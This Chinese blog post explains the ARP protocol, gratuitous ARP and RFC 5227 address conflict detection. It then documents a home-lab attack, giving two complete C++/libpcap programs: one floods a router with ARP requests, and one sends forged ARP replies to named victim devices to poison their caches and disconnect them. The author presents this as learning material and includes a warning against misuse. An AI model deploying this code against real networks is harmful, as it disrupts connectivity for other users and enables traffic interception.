ARP协议及内网攻击实践

​ ARP(Address Resolution Protocol,地址解析协议),是一种将IP地址和以太网MAC地址(物理地址)连接起来的协议。在局域网中,当主机或其他网络设备有数据要发送给另一个主机或设备时,仅仅知道对方的IP地址是不够的,因为IP数据报文必须封装成帧才能通过物理链路发送。因此发送方还需要有下一跳的物理MAC地址,也就需要一个从IP地址到物理地址的映射。

ARP报文格式

​ 在TCP/IP模型中,ARP协议属于网络层,在OSI模型中ARP协议属于链路层,从功能来看,它则是连接IP地址和MAC地址的桥梁,并在局域网的路由过程中起到了至关重要的作用。无论是主机或是交换机内部都有一张ARP缓存表,记录着邻居主机或网关的IP地址及MAC地址的映射,ARP表分为动态ARP表项和静态ARP表项,静态表项通过手动配置更新,而动态表项通过自学习更新,并设有老化时间(RFC1122中规定一般20分钟)。以下是动态ARP自学习的大致流程:

  1. 若主机A想向主机B发送数据包Package,A首先会查看自己的ARP缓存表,确定是否包含有主机B的IP地址及对应的MAC地址表项。
  2. 若有,则主机A直接利用ARP表中的MAC地址对IP数据报进行帧封装,并将数据报发送给主机B;若没有,则A会以广播方式发送一个ARP请求报文,该报文会被局域网内所有主机收到。若某主机发现该ARP请求报文是查询自己的MAC地址,则会以单播方式向主机A回应一个ARP响应报文,应答报文中就包含了自己的MAC地址。如果发现不是自己的,就忽略并丢弃该报文。
  3. 而主机A在收到来自目标主机B的ARP响应报文后,会将B的MAC地址加入到自己的ARP缓存表中方便下次直接使用,然后填充数据包Package并发送出去。

值得注意的是,若主机B位于局域网内,则主机A会按上述流程广播请求B的MAC地址;但假若主机B位于该局域网外,则A需要查询的则是网关的MAC地址而不是B的MAC地址,因为Package的下一跳是网关。

networks.jpg

​ ARP的报文长度28个字节,包含8个字节的报头以及20个字节的地址四元组。如下图所示:

image.png

  • 硬件类型:通常取1,表示以太网络。(也有其他的例如IEEE 802网络:6,ATM网络:37,等)
  • 上层协议类型:通常是IPv4,值为0x0800
  • 硬件地址长度:以太网中为6(字节)
  • 协议长度:IPv4长度为4(字节)
  • 操作码(Opcode)类型:ARP 请求为 1,ARP 响应为 2,RARP 请求为 3,RARP 响应为 4(RARP:反向地址转换协议,允许局域网的物理机器从网关服务器的 ARP 表或者缓存上请求其 IP 地址)。

​ ARP是个独立的三层协议,不需要IP协议封装。在第二层数据链路层封装的过程中,会在ARP报文的前面加上14字节的以太网帧头,以及若干字节的PAD填充和4字节的冗余校验码(FCS)结尾。以太网中最小帧长度为64字节,若不足64字节则PAD字段会以0填充,而校验码则用于检验数据传输是否出现损坏。

arp帧.jpg

​ 我们通过wireshark抓包也可以很清晰地看到整个ARP报文的格式:(省略了帧尾的PAD和FCS字段)image.png

​ 我们前面提到,ARP操作码里,1表示请求报文,2表示响应报文。通常ARP的请求报文是广播请求(因为不知道该IP对应哪台设备,因此需要在局域网内广播),而响应是单播响应。广播请求的ARP帧目的地址会被填充成FF-FF-FF-FF-FF-FF,并且在ARP报文里的Target MAC address会置为0,如下图一所示。而响应报文里的Sender MAC address则说明了被查询主机的MAC地址,如图二所示。image.pngimage.png

​ 除此之外,还有一种比较特殊的报文:Gratuitous ARP,它属于广播请求报文的范畴,而特殊性在于它的Sender MAC address等于Target MAC address,如下图所示,它可能有以下一些作用:

  • 该类型报文起到一个宣告作用。它以广播的形式将该数据包昭告大家,不需要得到回应,只为了告诉局域网内其他计算机自己的 IP 地址和 MAC 地址。
  • 可用于检测 IP 地址冲突。当一台主机发送了Gratuitous ARP 请求报文后,如果收到了 ARP 响应报文,则说明网络内已经存在使用该 IP 地址的主机。
  • 可用于更新其他主机的 ARP 缓存表。如果该主机更换了网卡,而其他主机的 ARP 缓存表仍然保留着原来的 MAC 地址。这时,可以发送Gratuitous ARP 数据包。其他主机收到该数据包后,将更新 ARP 缓存表,将原来的 MAC 地址替换为新的 MAC 地址。

Gratuitous ARP.png

​ 尽管Gratuitous ARP可用于检测地址冲突,但规范并没有给出相应手段去解决冲突,为此,2008年发行的RFC5227提出了一个机制:ACD(Address Conflict Detection,地址冲突检测)。这里提出两种比较特殊的ARP请求报文:ARP probe以及ARP announcement,同样的,它们都属于广播请求报文,即Opcode均为1。

​ ARP probe 主要用于网卡刚上线时检测某个IP地址是否有设备占用。它有一个自己想要占用的候选IP地址,并放在ARP包的Target IP address里,而 Sender IP address会填充为0,这是是为了避免对其他主机的ARP cache造成污染(因为可能已经有主机正在使用该候选IP地址了;

​ 而 ARP announcement 则用于在选定某个IP地址后,昭示整个局域网(LAN):本机要使用该IP地址了。它的Sender IP address 等于Target IP address(也就是说结构和Gratuitous ARP一样)。

​ ACD(Address Conflict Detection,地址冲突检测)的具体流程如下。

  1. 当网卡启动时(或者从睡眠状态恢复,或者链接建立时)会发送一个ARP probe。(为了避免多个网卡同时启动同时发ARP probe造成拥塞,有一个拥塞避免策略,不会立刻发送ARP probe,单个网卡的多个probe也不会连续发送,会有间隔时间)。
  2. 发送主机可能收到ARP reply或者ARP probe,如果收到了ARP reply,说明该候选IP地址已经有主机在用了。如果收到了一个Target IP地址为候选IP的 ARP probe,说明另外一个主机也同时想要使用该候选IP地址。这种情况下,两个主机都会提醒用户出现了IP地址冲突。然后进行地址冲突处理。
  3. 如果上述两种ARP包都没有收到,说明候选IP地址可用。主机发送一个ARP announcement,告诉其他主机该候选IP本人占用,而这个ARP request会让LAN中其他主机更新自身的ARP cache。

​ 地址冲突处理:《RFC5227》提供了三种可选的解决机制:1)放弃使用该IP地址。2)发送一个ARP announcement来进行IP地址“守卫”,如果冲突仍然继续存在,放弃使用这个IP。3)无视冲突,继续使用这个IP。

​ 当然,对于目前常见的通过DHCP动态获得IP地址的主机来说,通常并不需要在网卡启动时执行ACD过程。在某些手动静态配置IP或特殊网络配置中设备才有可能会使用ACD机制来避免相关冲突。以下是摘自RFC5227对于ACD提出背景的段落,感兴趣的同学可以点击原文了解 -> RFC 5227: IPv4 Address Conflict Detection (rfc-editor.org)RFC5227: IPv4地址冲突检测 中文版

​ Historically, accidentally configuring two Internet hosts with the same IP address has often been an annoying and hard-to-diagnose problem.

​ This is unfortunate, because the existing Address Resolution Protocol (ARP) provides an easy way for a host to detect this kind of misconfiguration and report it to the user. The DHCP specification [RFC2131] briefly mentions the role of ARP in detecting misconfiguration, as illustrated in the following three excerpts from RFC 2131:

  • the client SHOULD probe the newly received address, e.g., with ARP
  • The client SHOULD perform a final check on the parameters (e.g., ARP for allocated network address)
  • If the client detects that the address is already in use (e.g., through the use of ARP), the client MUST send a DHCPDECLINE message to the server

​ Unfortunately, the DHCP specification does not give any guidance to implementers concerning the number of ARP packets to send, the interval between packets, the total time to wait before concluding that an address may safely be used, or indeed even which kinds of packets a host should be listening for, in order to make this determination. It leaves unspecified the action a host should take if, after concluding that an address may safely be used, it subsequently discovers that it was wrong. It also fails to specify what precautions a DHCP client should take to guard against pathological failure cases, such as a DHCP server that repeatedly OFFERs the same address, even though it has been DECLINEd multiple times.

​ The authors of the DHCP specification may have been justified in thinking at the time that the answers to these questions seemed too simple, obvious, and straightforward to be worth mentioning, but unfortunately this left some of the burden of protocol design to each individual implementer. This document seeks to remedy this omission by clearly specifying the required actions.

ARP内网攻击实践

​ ARP是建立在网络中各个主机互相信任的基础上的,它的诞生使得网络能够更加高效的运行,但也正因此所以存在安全缺陷。ARP协议无状态,只要某主机收到ARP响应包则会更新自己的ARP缓存表,而非只在自己发送过ARP请求才接收ARP应答。因此,攻击源可以主动伪造ARP响应包,并向局域网中其他设备或网关发送虚假的ARP信息,达到攻击的目的。

「ARP攻击类型」

  • ARP泛洪:攻击者向网关发送大量ARP包时造成网关cpu,内存压力增大,难以处理正常请求而导致整个网络拥塞甚至瘫痪。
  • 中间人攻击:当攻击者伪造一个这样的ARP响应包:记录着真实网关IP和虚假的MAC地址,并向局域网内目标设备不断发送,这会造成该设备内ARP缓存的网关MAC地址被篡改,从而使得其发出的数据包被重定向到虚假MAC地址上。如果该MAC是不存在的地址,会造成目标设备断网;而如果该MAC是攻击者的MAC地址,那么目标设备会将本来发送给网关的数据包发送给攻击者,这样则会造成数据被攻击者监听。

​ 接下来我们实践模拟一下ARP泛洪以及断网攻击。如果有安装Linux Kali发行版,可以利用其内置的 nmap、arpspoo 等渗透测试工具实现。当然也可以选择自己写ARP包进行攻击,我在这里就直接用C++写了,攻击目标是我自家的路由器和几台连接的手机平板设备。准备工具:Linux虚拟机,wireshark用于抓包分析。以下是整个流程的基本思路:

注意:请勿将网络攻击非法用于公共网络等设施。

  1. 首先需要查明自身设备的以及网关的IP和MAC地址等基本信息。
  2. 直接向网关发送大量ARP request包造成网络拥塞(ARP泛洪)。
  3. 构造ARP request包扫描整个网络连接的设备,通过wireshark查看reply并记录下它们的IP及MAC地址。
  4. 构造伪造的ARP reply包向网络中存在的设备发起攻击(中间人攻击)。

(一)准备设备

​ 自己在vmware安装的Linux虚拟机网络连接默认应该是NAT模式,通过IP地址和抓包也可以很容易分析出来。我家路由器网关IP为192.168.31.1,物理机为192.168.31.47,而虚拟机Linux却是192.168.80.30,虚拟机向网关的数据包会经过物理机一层转换,因此我们需要首先把虚拟机的网络连接调整为桥接模式。虚拟机有以下三种网络模式:

「虚拟机三种网络模式区别」

  • NAT模式:宿主机通过NAT建立一层子网,宿主机则是该子网的网关,而虚拟机需访问互联网则要通过宿主机这个网关转发出去,从网络拓扑结构来看虚拟机网卡和宿主机网卡不在同一层次网络中。
  • 桥接模式:指宿主机物理网卡和虚拟网卡通过vmnet虚换交换机进行桥接,虚权网卡和物理网卡在网络拓扑图上处于同一网络,具有同等地位,因此虚拟机直接与路由器网关通信。由于我们需要攻击路由器网关以及网络内的其他设备,因此需要让虚拟机与其位于同一网络中,故选用桥接模式。
  • Host-only模式:该模式下虚拟网络是一个全封闭的网络,它唯一能够访问的就是宿主机。Host-Only网络和NAT网络比较相似,不同的地方在于Host-Only网络没有NAT服务,所以虚拟网络不能连接到Internet。它的宗旨就是建立一个与外界隔绝的内部网络,来提高内网的安全性。

​ NAT改桥接模式的细节这里就不过多介绍了,网络上有很多相关的文章。注意,IP地址需要手动设置,但不要和该网络内已被占用的IP冲突了,DNS不设置也没问题,我们实验不需要用到域名解析,当然如果你想让你的虚拟机能通过域名上网还是可以设置一下(可以设置成与物理机相同的DNS域名服务器)。修改完毕后这几个页面大概长这样:image.png

ARP泛洪攻击

​ 攻击代码使用C++完成,代码本身比较简单,只需要先定义好ARP结构体,然后根据ARP报文格式进行依次填充即可,最后再利用相关网络包发送的 pcap API 即可实现流程。对比前文提到的ARP帧格式,结构体如下,包含以太网帧头和ARP报文(不包含帧尾PAD和FCS):image.png

​ 总体代码如下所示,编译命令记得加 pacp 的动态链接: g++ arp_req.cpp -lpcap,运行命令需要管理员权限 sudo ./a.out,运行时需要选择虚拟机网卡,我这里是 ens33,可以通过 ifconfig 命令查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#include <arpa/inet.h>
#include <cstring>
#include <iostream>
#include <pcap.h>
#include <unistd.h>

using namespace std;
#pragma pack(push) // 保持对齐方式
#pragma pack(1) // 设定1位对齐
#pragma comment(lib, "ws2_32.lib")

// 攻击者ip及mac地址
const char *srcip = "192.168.31.51";
u_char SRC_MAC[6] = {0x00, 0x0C, 0x29, 0x3B, 0xBB, 0x33};

// 广播mac填充地址
u_char BROADCAST_MAC[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};

// 目标设备ip及缺省mac地址
const char *victim_ip = "192.168.31.1";
u_char VICTIM_MAC[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

typedef struct _eth_header
{
unsigned char dst_mac[6];
unsigned char src_mac[6];
unsigned short type;
} ETH_HEADER;

typedef struct _arp_header
{
unsigned short hardware_type;
unsigned short protocol_type;
unsigned char hardware_len;
unsigned char protocol_len;
unsigned short option;
unsigned char src_mac[6];
unsigned long src_ip;
unsigned char dst_mac[6];
unsigned long dst_ip;
} ARP_HEADER;

typedef struct _arp_packet
{
ETH_HEADER eth_header;
ARP_HEADER arp_header;
} ARP_PACKET;

void InitARPHeader(u_char *tmpBuf)
{
ARP_HEADER arp_header;
int arpsize = sizeof(ARP_HEADER);

arp_header.hardware_type = htons(0x0001);
arp_header.protocol_type = htons(0x0800);
arp_header.hardware_len = 6;
arp_header.protocol_len = 4;
arp_header.option = htons(0x0001); // arp request

arp_header.src_ip = inet_addr(srcip);
for (int i = 0; i < 6; i++)
arp_header.src_mac[i] = SRC_MAC[i];

// string ret = victim_ip + to_string(num);
// arp_header.dst_ip = inet_addr(ret.c_str());
arp_header.dst_ip = inet_addr(victim_ip);
for (int i = 0; i < 6; i++)
arp_header.dst_mac[i] = VICTIM_MAC[i];

memcpy(tmpBuf + 0, &arp_header.hardware_type, 2);
memcpy(tmpBuf + 2, &arp_header.protocol_type, 2);
memcpy(tmpBuf + 4, &arp_header.hardware_len, 1);
memcpy(tmpBuf + 5, &arp_header.protocol_len, 1);
memcpy(tmpBuf + 6, &arp_header.option, 2);
memcpy(tmpBuf + 8, &arp_header.src_mac, 6);
memcpy(tmpBuf + 14, &arp_header.src_ip, 4);
memcpy(tmpBuf + 18, &arp_header.dst_mac, 6);
memcpy(tmpBuf + 24, &arp_header.dst_ip, 4);
};

int main()
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[42];
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i = 0;

/* 检测网卡 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 打印网卡 */
for (d = alldevs; d; d = d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if (i == 0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return 0;
}

printf("Enter the interface number (1-%d):", i);
scanf("%d", &inum);
if (inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
pcap_freealldevs(alldevs);
return 0;
}
/* 选择 */
for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++)
;
/* 打开输出设备 */
if ((fp = pcap_open_live(d->name, // name of the device
65535, // portion of the packet to capture.
// 65536 grants that the whole packet will be captured on all the MACs.
1, // promiscuous mode (nonzero means promiscuous)
0, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
return 0;
}
else
{
printf("open succeed!\n");
}
// 把以太网头复制到缓冲区
for (int i = 0; i < 6; i++)
packet[i] = BROADCAST_MAC[i];
for (int i = 6; i < 12; i++)
packet[i] = SRC_MAC[i - 6];
packet[12] = 0x08;
packet[13] = 0x06;

InitARPHeader(packet + 14);

/* 发送数据包 */
long long count = 0;
for (long k = 0; k < 1000000; ++k)
{
if (pcap_sendpacket(fp, (const u_char *)&packet, sizeof(packet)) != 0)
{
fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(fp));
return 0;
}
usleep(100);
printf("send succeed %lld times!\n", ++count);
}

return 0;
}

​ 当按下命令的那一刻,虚拟机以每秒上千个 ARP request packet 的速率向网关发起了泛洪攻击,如下图所示,此时能够明显感受到网络中其他手机平板设备网络出现阻塞以及中断的现象。

image.png

net.jpg

ARP中间人攻击

​ 通过对上面的代码一些简单的修改,就能实现对网段内的所有设备进行依次询问(本网段从192.168.31.1到192.168.31.255的轮询),理论上就可以得到它们的IP及对应的MAC地址的响应包。当然由于这是我自家的路由器,也可以直接在浏览器输入192.168.31.1网关IP登录后台进行查看。将得到的结果记录下来,再构造一个 ARP reply包,就可以定向对某台设备进行ARP中间人攻击,代码如下,和上面的 ARP request代码很类似。具体代码如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
#include <arpa/inet.h>
#include <cstring>
#include <iostream>
#include <pcap.h>
#include <unistd.h>

using namespace std;
#pragma pack(push) // 保持对齐方式
#pragma pack(1) // 设定1位对齐
#pragma comment(lib, "ws2_32.lib")

// 攻击者ip及mac地址
const char *srcip = "192.168.31.50";
u_char SRC_MAC[6] = {0xC8, 0x58, 0xC0, 0xC1, 0x5B, 0xC9};

// 攻击目标
#define ATTACK_NUM 5
const char *victimip[ATTACK_NUM] = {"192.168.31.145",
"192.168.31.168",
"192.168.31.233",
"192.168.31.220",
"192.168.31.188"};
u_char VICTIM_MAC[ATTACK_NUM][6] = {
{0x96, 0x90, 0x29, 0xBB, 0xAF, 0x1C},
{0x40, 0xB6, 0xE7, 0xEF, 0xC3, 0x48},
{0xE0, 0x1F, 0x88, 0x30, 0x73, 0xBC},
{0x98, 0x2F, 0x3C, 0xB2, 0x5B, 0xF1},
{0x9E, 0x78, 0xB7, 0x94, 0x6B, 0x29}};

string polluteip = "192.168.31.";
u_char FAKE_MAC[6] = {0x01, 0x01, 0x01, 0x01, 0x01, 0x01};

typedef struct _eth_header
{
unsigned char dst_mac[6];
unsigned char src_mac[6];
unsigned short type;
} ETH_HEADER;

typedef struct _arp_header
{
unsigned short hardware_type;
unsigned short protocol_type;
unsigned char hardware_len;
unsigned char protocol_len;
unsigned short option;
unsigned char src_mac[6];
unsigned long src_ip;
unsigned char dst_mac[6];
unsigned long dst_ip;
} ARP_HEADER;

typedef struct _arp_packet
{
ETH_HEADER eth_header;
ARP_HEADER arp_header;
} ARP_PACKET;

void InitARPHeader(u_char *tmpBuf, int ip_num, int num)
{
ARP_HEADER arp_header;
int arpsize = sizeof(ARP_HEADER);

arp_header.hardware_type = htons(0x0001);
arp_header.protocol_type = htons(0x0800);
arp_header.hardware_len = 6;
arp_header.protocol_len = 4;
arp_header.option = htons(0x0002);

string ret = polluteip + to_string(ip_num);
arp_header.src_ip = inet_addr(ret.c_str());
for (int i = 0; i < 6; i++)
arp_header.src_mac[i] = FAKE_MAC[i];
arp_header.dst_ip = inet_addr(victimip[num]);
for (int i = 0; i < 6; i++)
arp_header.dst_mac[i] = VICTIM_MAC[num][i];

memcpy(tmpBuf + 0, &arp_header.hardware_type, 2);
memcpy(tmpBuf + 2, &arp_header.protocol_type, 2);
memcpy(tmpBuf + 4, &arp_header.hardware_len, 1);
memcpy(tmpBuf + 5, &arp_header.protocol_len, 1);
memcpy(tmpBuf + 6, &arp_header.option, 2);
memcpy(tmpBuf + 8, &arp_header.src_mac, 6);
memcpy(tmpBuf + 14, &arp_header.src_ip, 4);
memcpy(tmpBuf + 18, &arp_header.dst_mac, 6);
memcpy(tmpBuf + 24, &arp_header.dst_ip, 4);
};

int main()
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[42];
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i = 0;

/* 检测网卡 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 打印网卡 */
for (d = alldevs; d; d = d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if (i == 0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return 1;
}

printf("Enter the interface number (1-%d):", i);
scanf("%d", &inum);
if (inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
/* 释放 */
pcap_freealldevs(alldevs);
return 2;
}
/* 选择 */
for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++)
;
/* 打开输出设备 */
if ((fp = pcap_open_live(d->name, // name of the device
65536, // portion of the packet to capture.
// 65536 grants that the whole packet will be captured on all the MACs.
1, // promiscuous mode (nonzero means promiscuous)
0, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
return 3;
}
else
{
printf("open succeed!\n");
}

for (int i = 6; i < 12; i++)
packet[i] = SRC_MAC[i - 6];
packet[12] = 0x08;
packet[13] = 0x06;

/* 打印ARP包
for (int i = 0; i < 42; i++)
cout << hex << (int)packet[i] << " ";
cout << endl;
*/

long long count = 0;
for (int k = 0; k < 10000; ++k)
{
for (int j = 2; j < 254; ++j)
{
for (int num = 0; num < ATTACK_NUM; ++num)
{
for (int i = 0; i < 6; i++)
packet[i] = VICTIM_MAC[num][i];
InitARPHeader(packet + 14, 1, num);

if (pcap_sendpacket(fp, (const u_char *)&packet, sizeof(packet)) != 0)
{
fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(fp));
return 3;
}
usleep(100);
printf("send succeed %lld times!\n", ++count);
}
}
}

return 0;
}

​ 当然,ARP协议只用于局域网内的设备寻址,当两个路由器之间通信时,会采用基于LS或DV等算法的BGP(Border Gateway Protocol,边界网关协议),OSPF(Open Shortest Path First,开放最短路径优先协议)等进行通信,具体来说就是会根据数据包的目的IP地址决定从哪个端口转发出去,而不会直接使用到MAC地址作为路由。总结就是:MAC地址是局域网(LAN)层级的地址,在局域网内起作用;而IP地址和路由表用于跨越不同局域网的通信。

​ 最后,ARP是基于IPv4的协议。在IPv6中,地址解析将由NDP(邻居发现协议,Neighbor Discovery Protocol)实现,它使用一系列IPv6控制信息报文(ICMPv6)来实现相邻节点(同一链路上的节点)的交互管理,并在一个子网中保持网络层地址和数据链路层地址之间的映射。邻居发现协议中定义了5种类型的信息:路由器宣告、路由器请求、路由重定向、邻居请求和邻居宣告。与ARP相比,NDP可以实现路由器发现、前缀发现、参数发现、地址自动配置、地址解析(代替ARP和RARP)、下一跳确定、邻居不可达检测、重复地址检测、重定向等更多功能。


踩坑补充

  1. 在抓包分析的过程中,发现通过pcap_sendpacket函数打出的ARP包的Ethernet层的Source字段以及ARP层的Sender MAC address字段并不是我自己写进去的值,而是被改成了物理机的MAC地址,目前还不清楚具体原因。image.png
  2. 代码中请注意取消内存对齐优化(上面代码里的第8,9行),详细可参考这篇文章:【C语言踩坑】PCAP发送ARP包之 – 多出的字节
  3. 理论上ARP请求应该是广播的,但从我抓包的结果来看,还发现了一些单播请求报文,如下图所示,它们是从我的网关路由器向我的设备发送过来的。这个看起来有点不符合常理,既然是单播,那就表明它知道我的MAC地址,事实上在报文帧首也确实有我的MAC地址(只不过这个地址确实是在Ethernet层而非在ARP层),至于为什么,我目前也还没有获得到比较好的答案。不过有一点,RFC标准文档和工业界的具体实现确实是可能存在一定的差异的,这可能与不同厂商的优化手段有关。image.png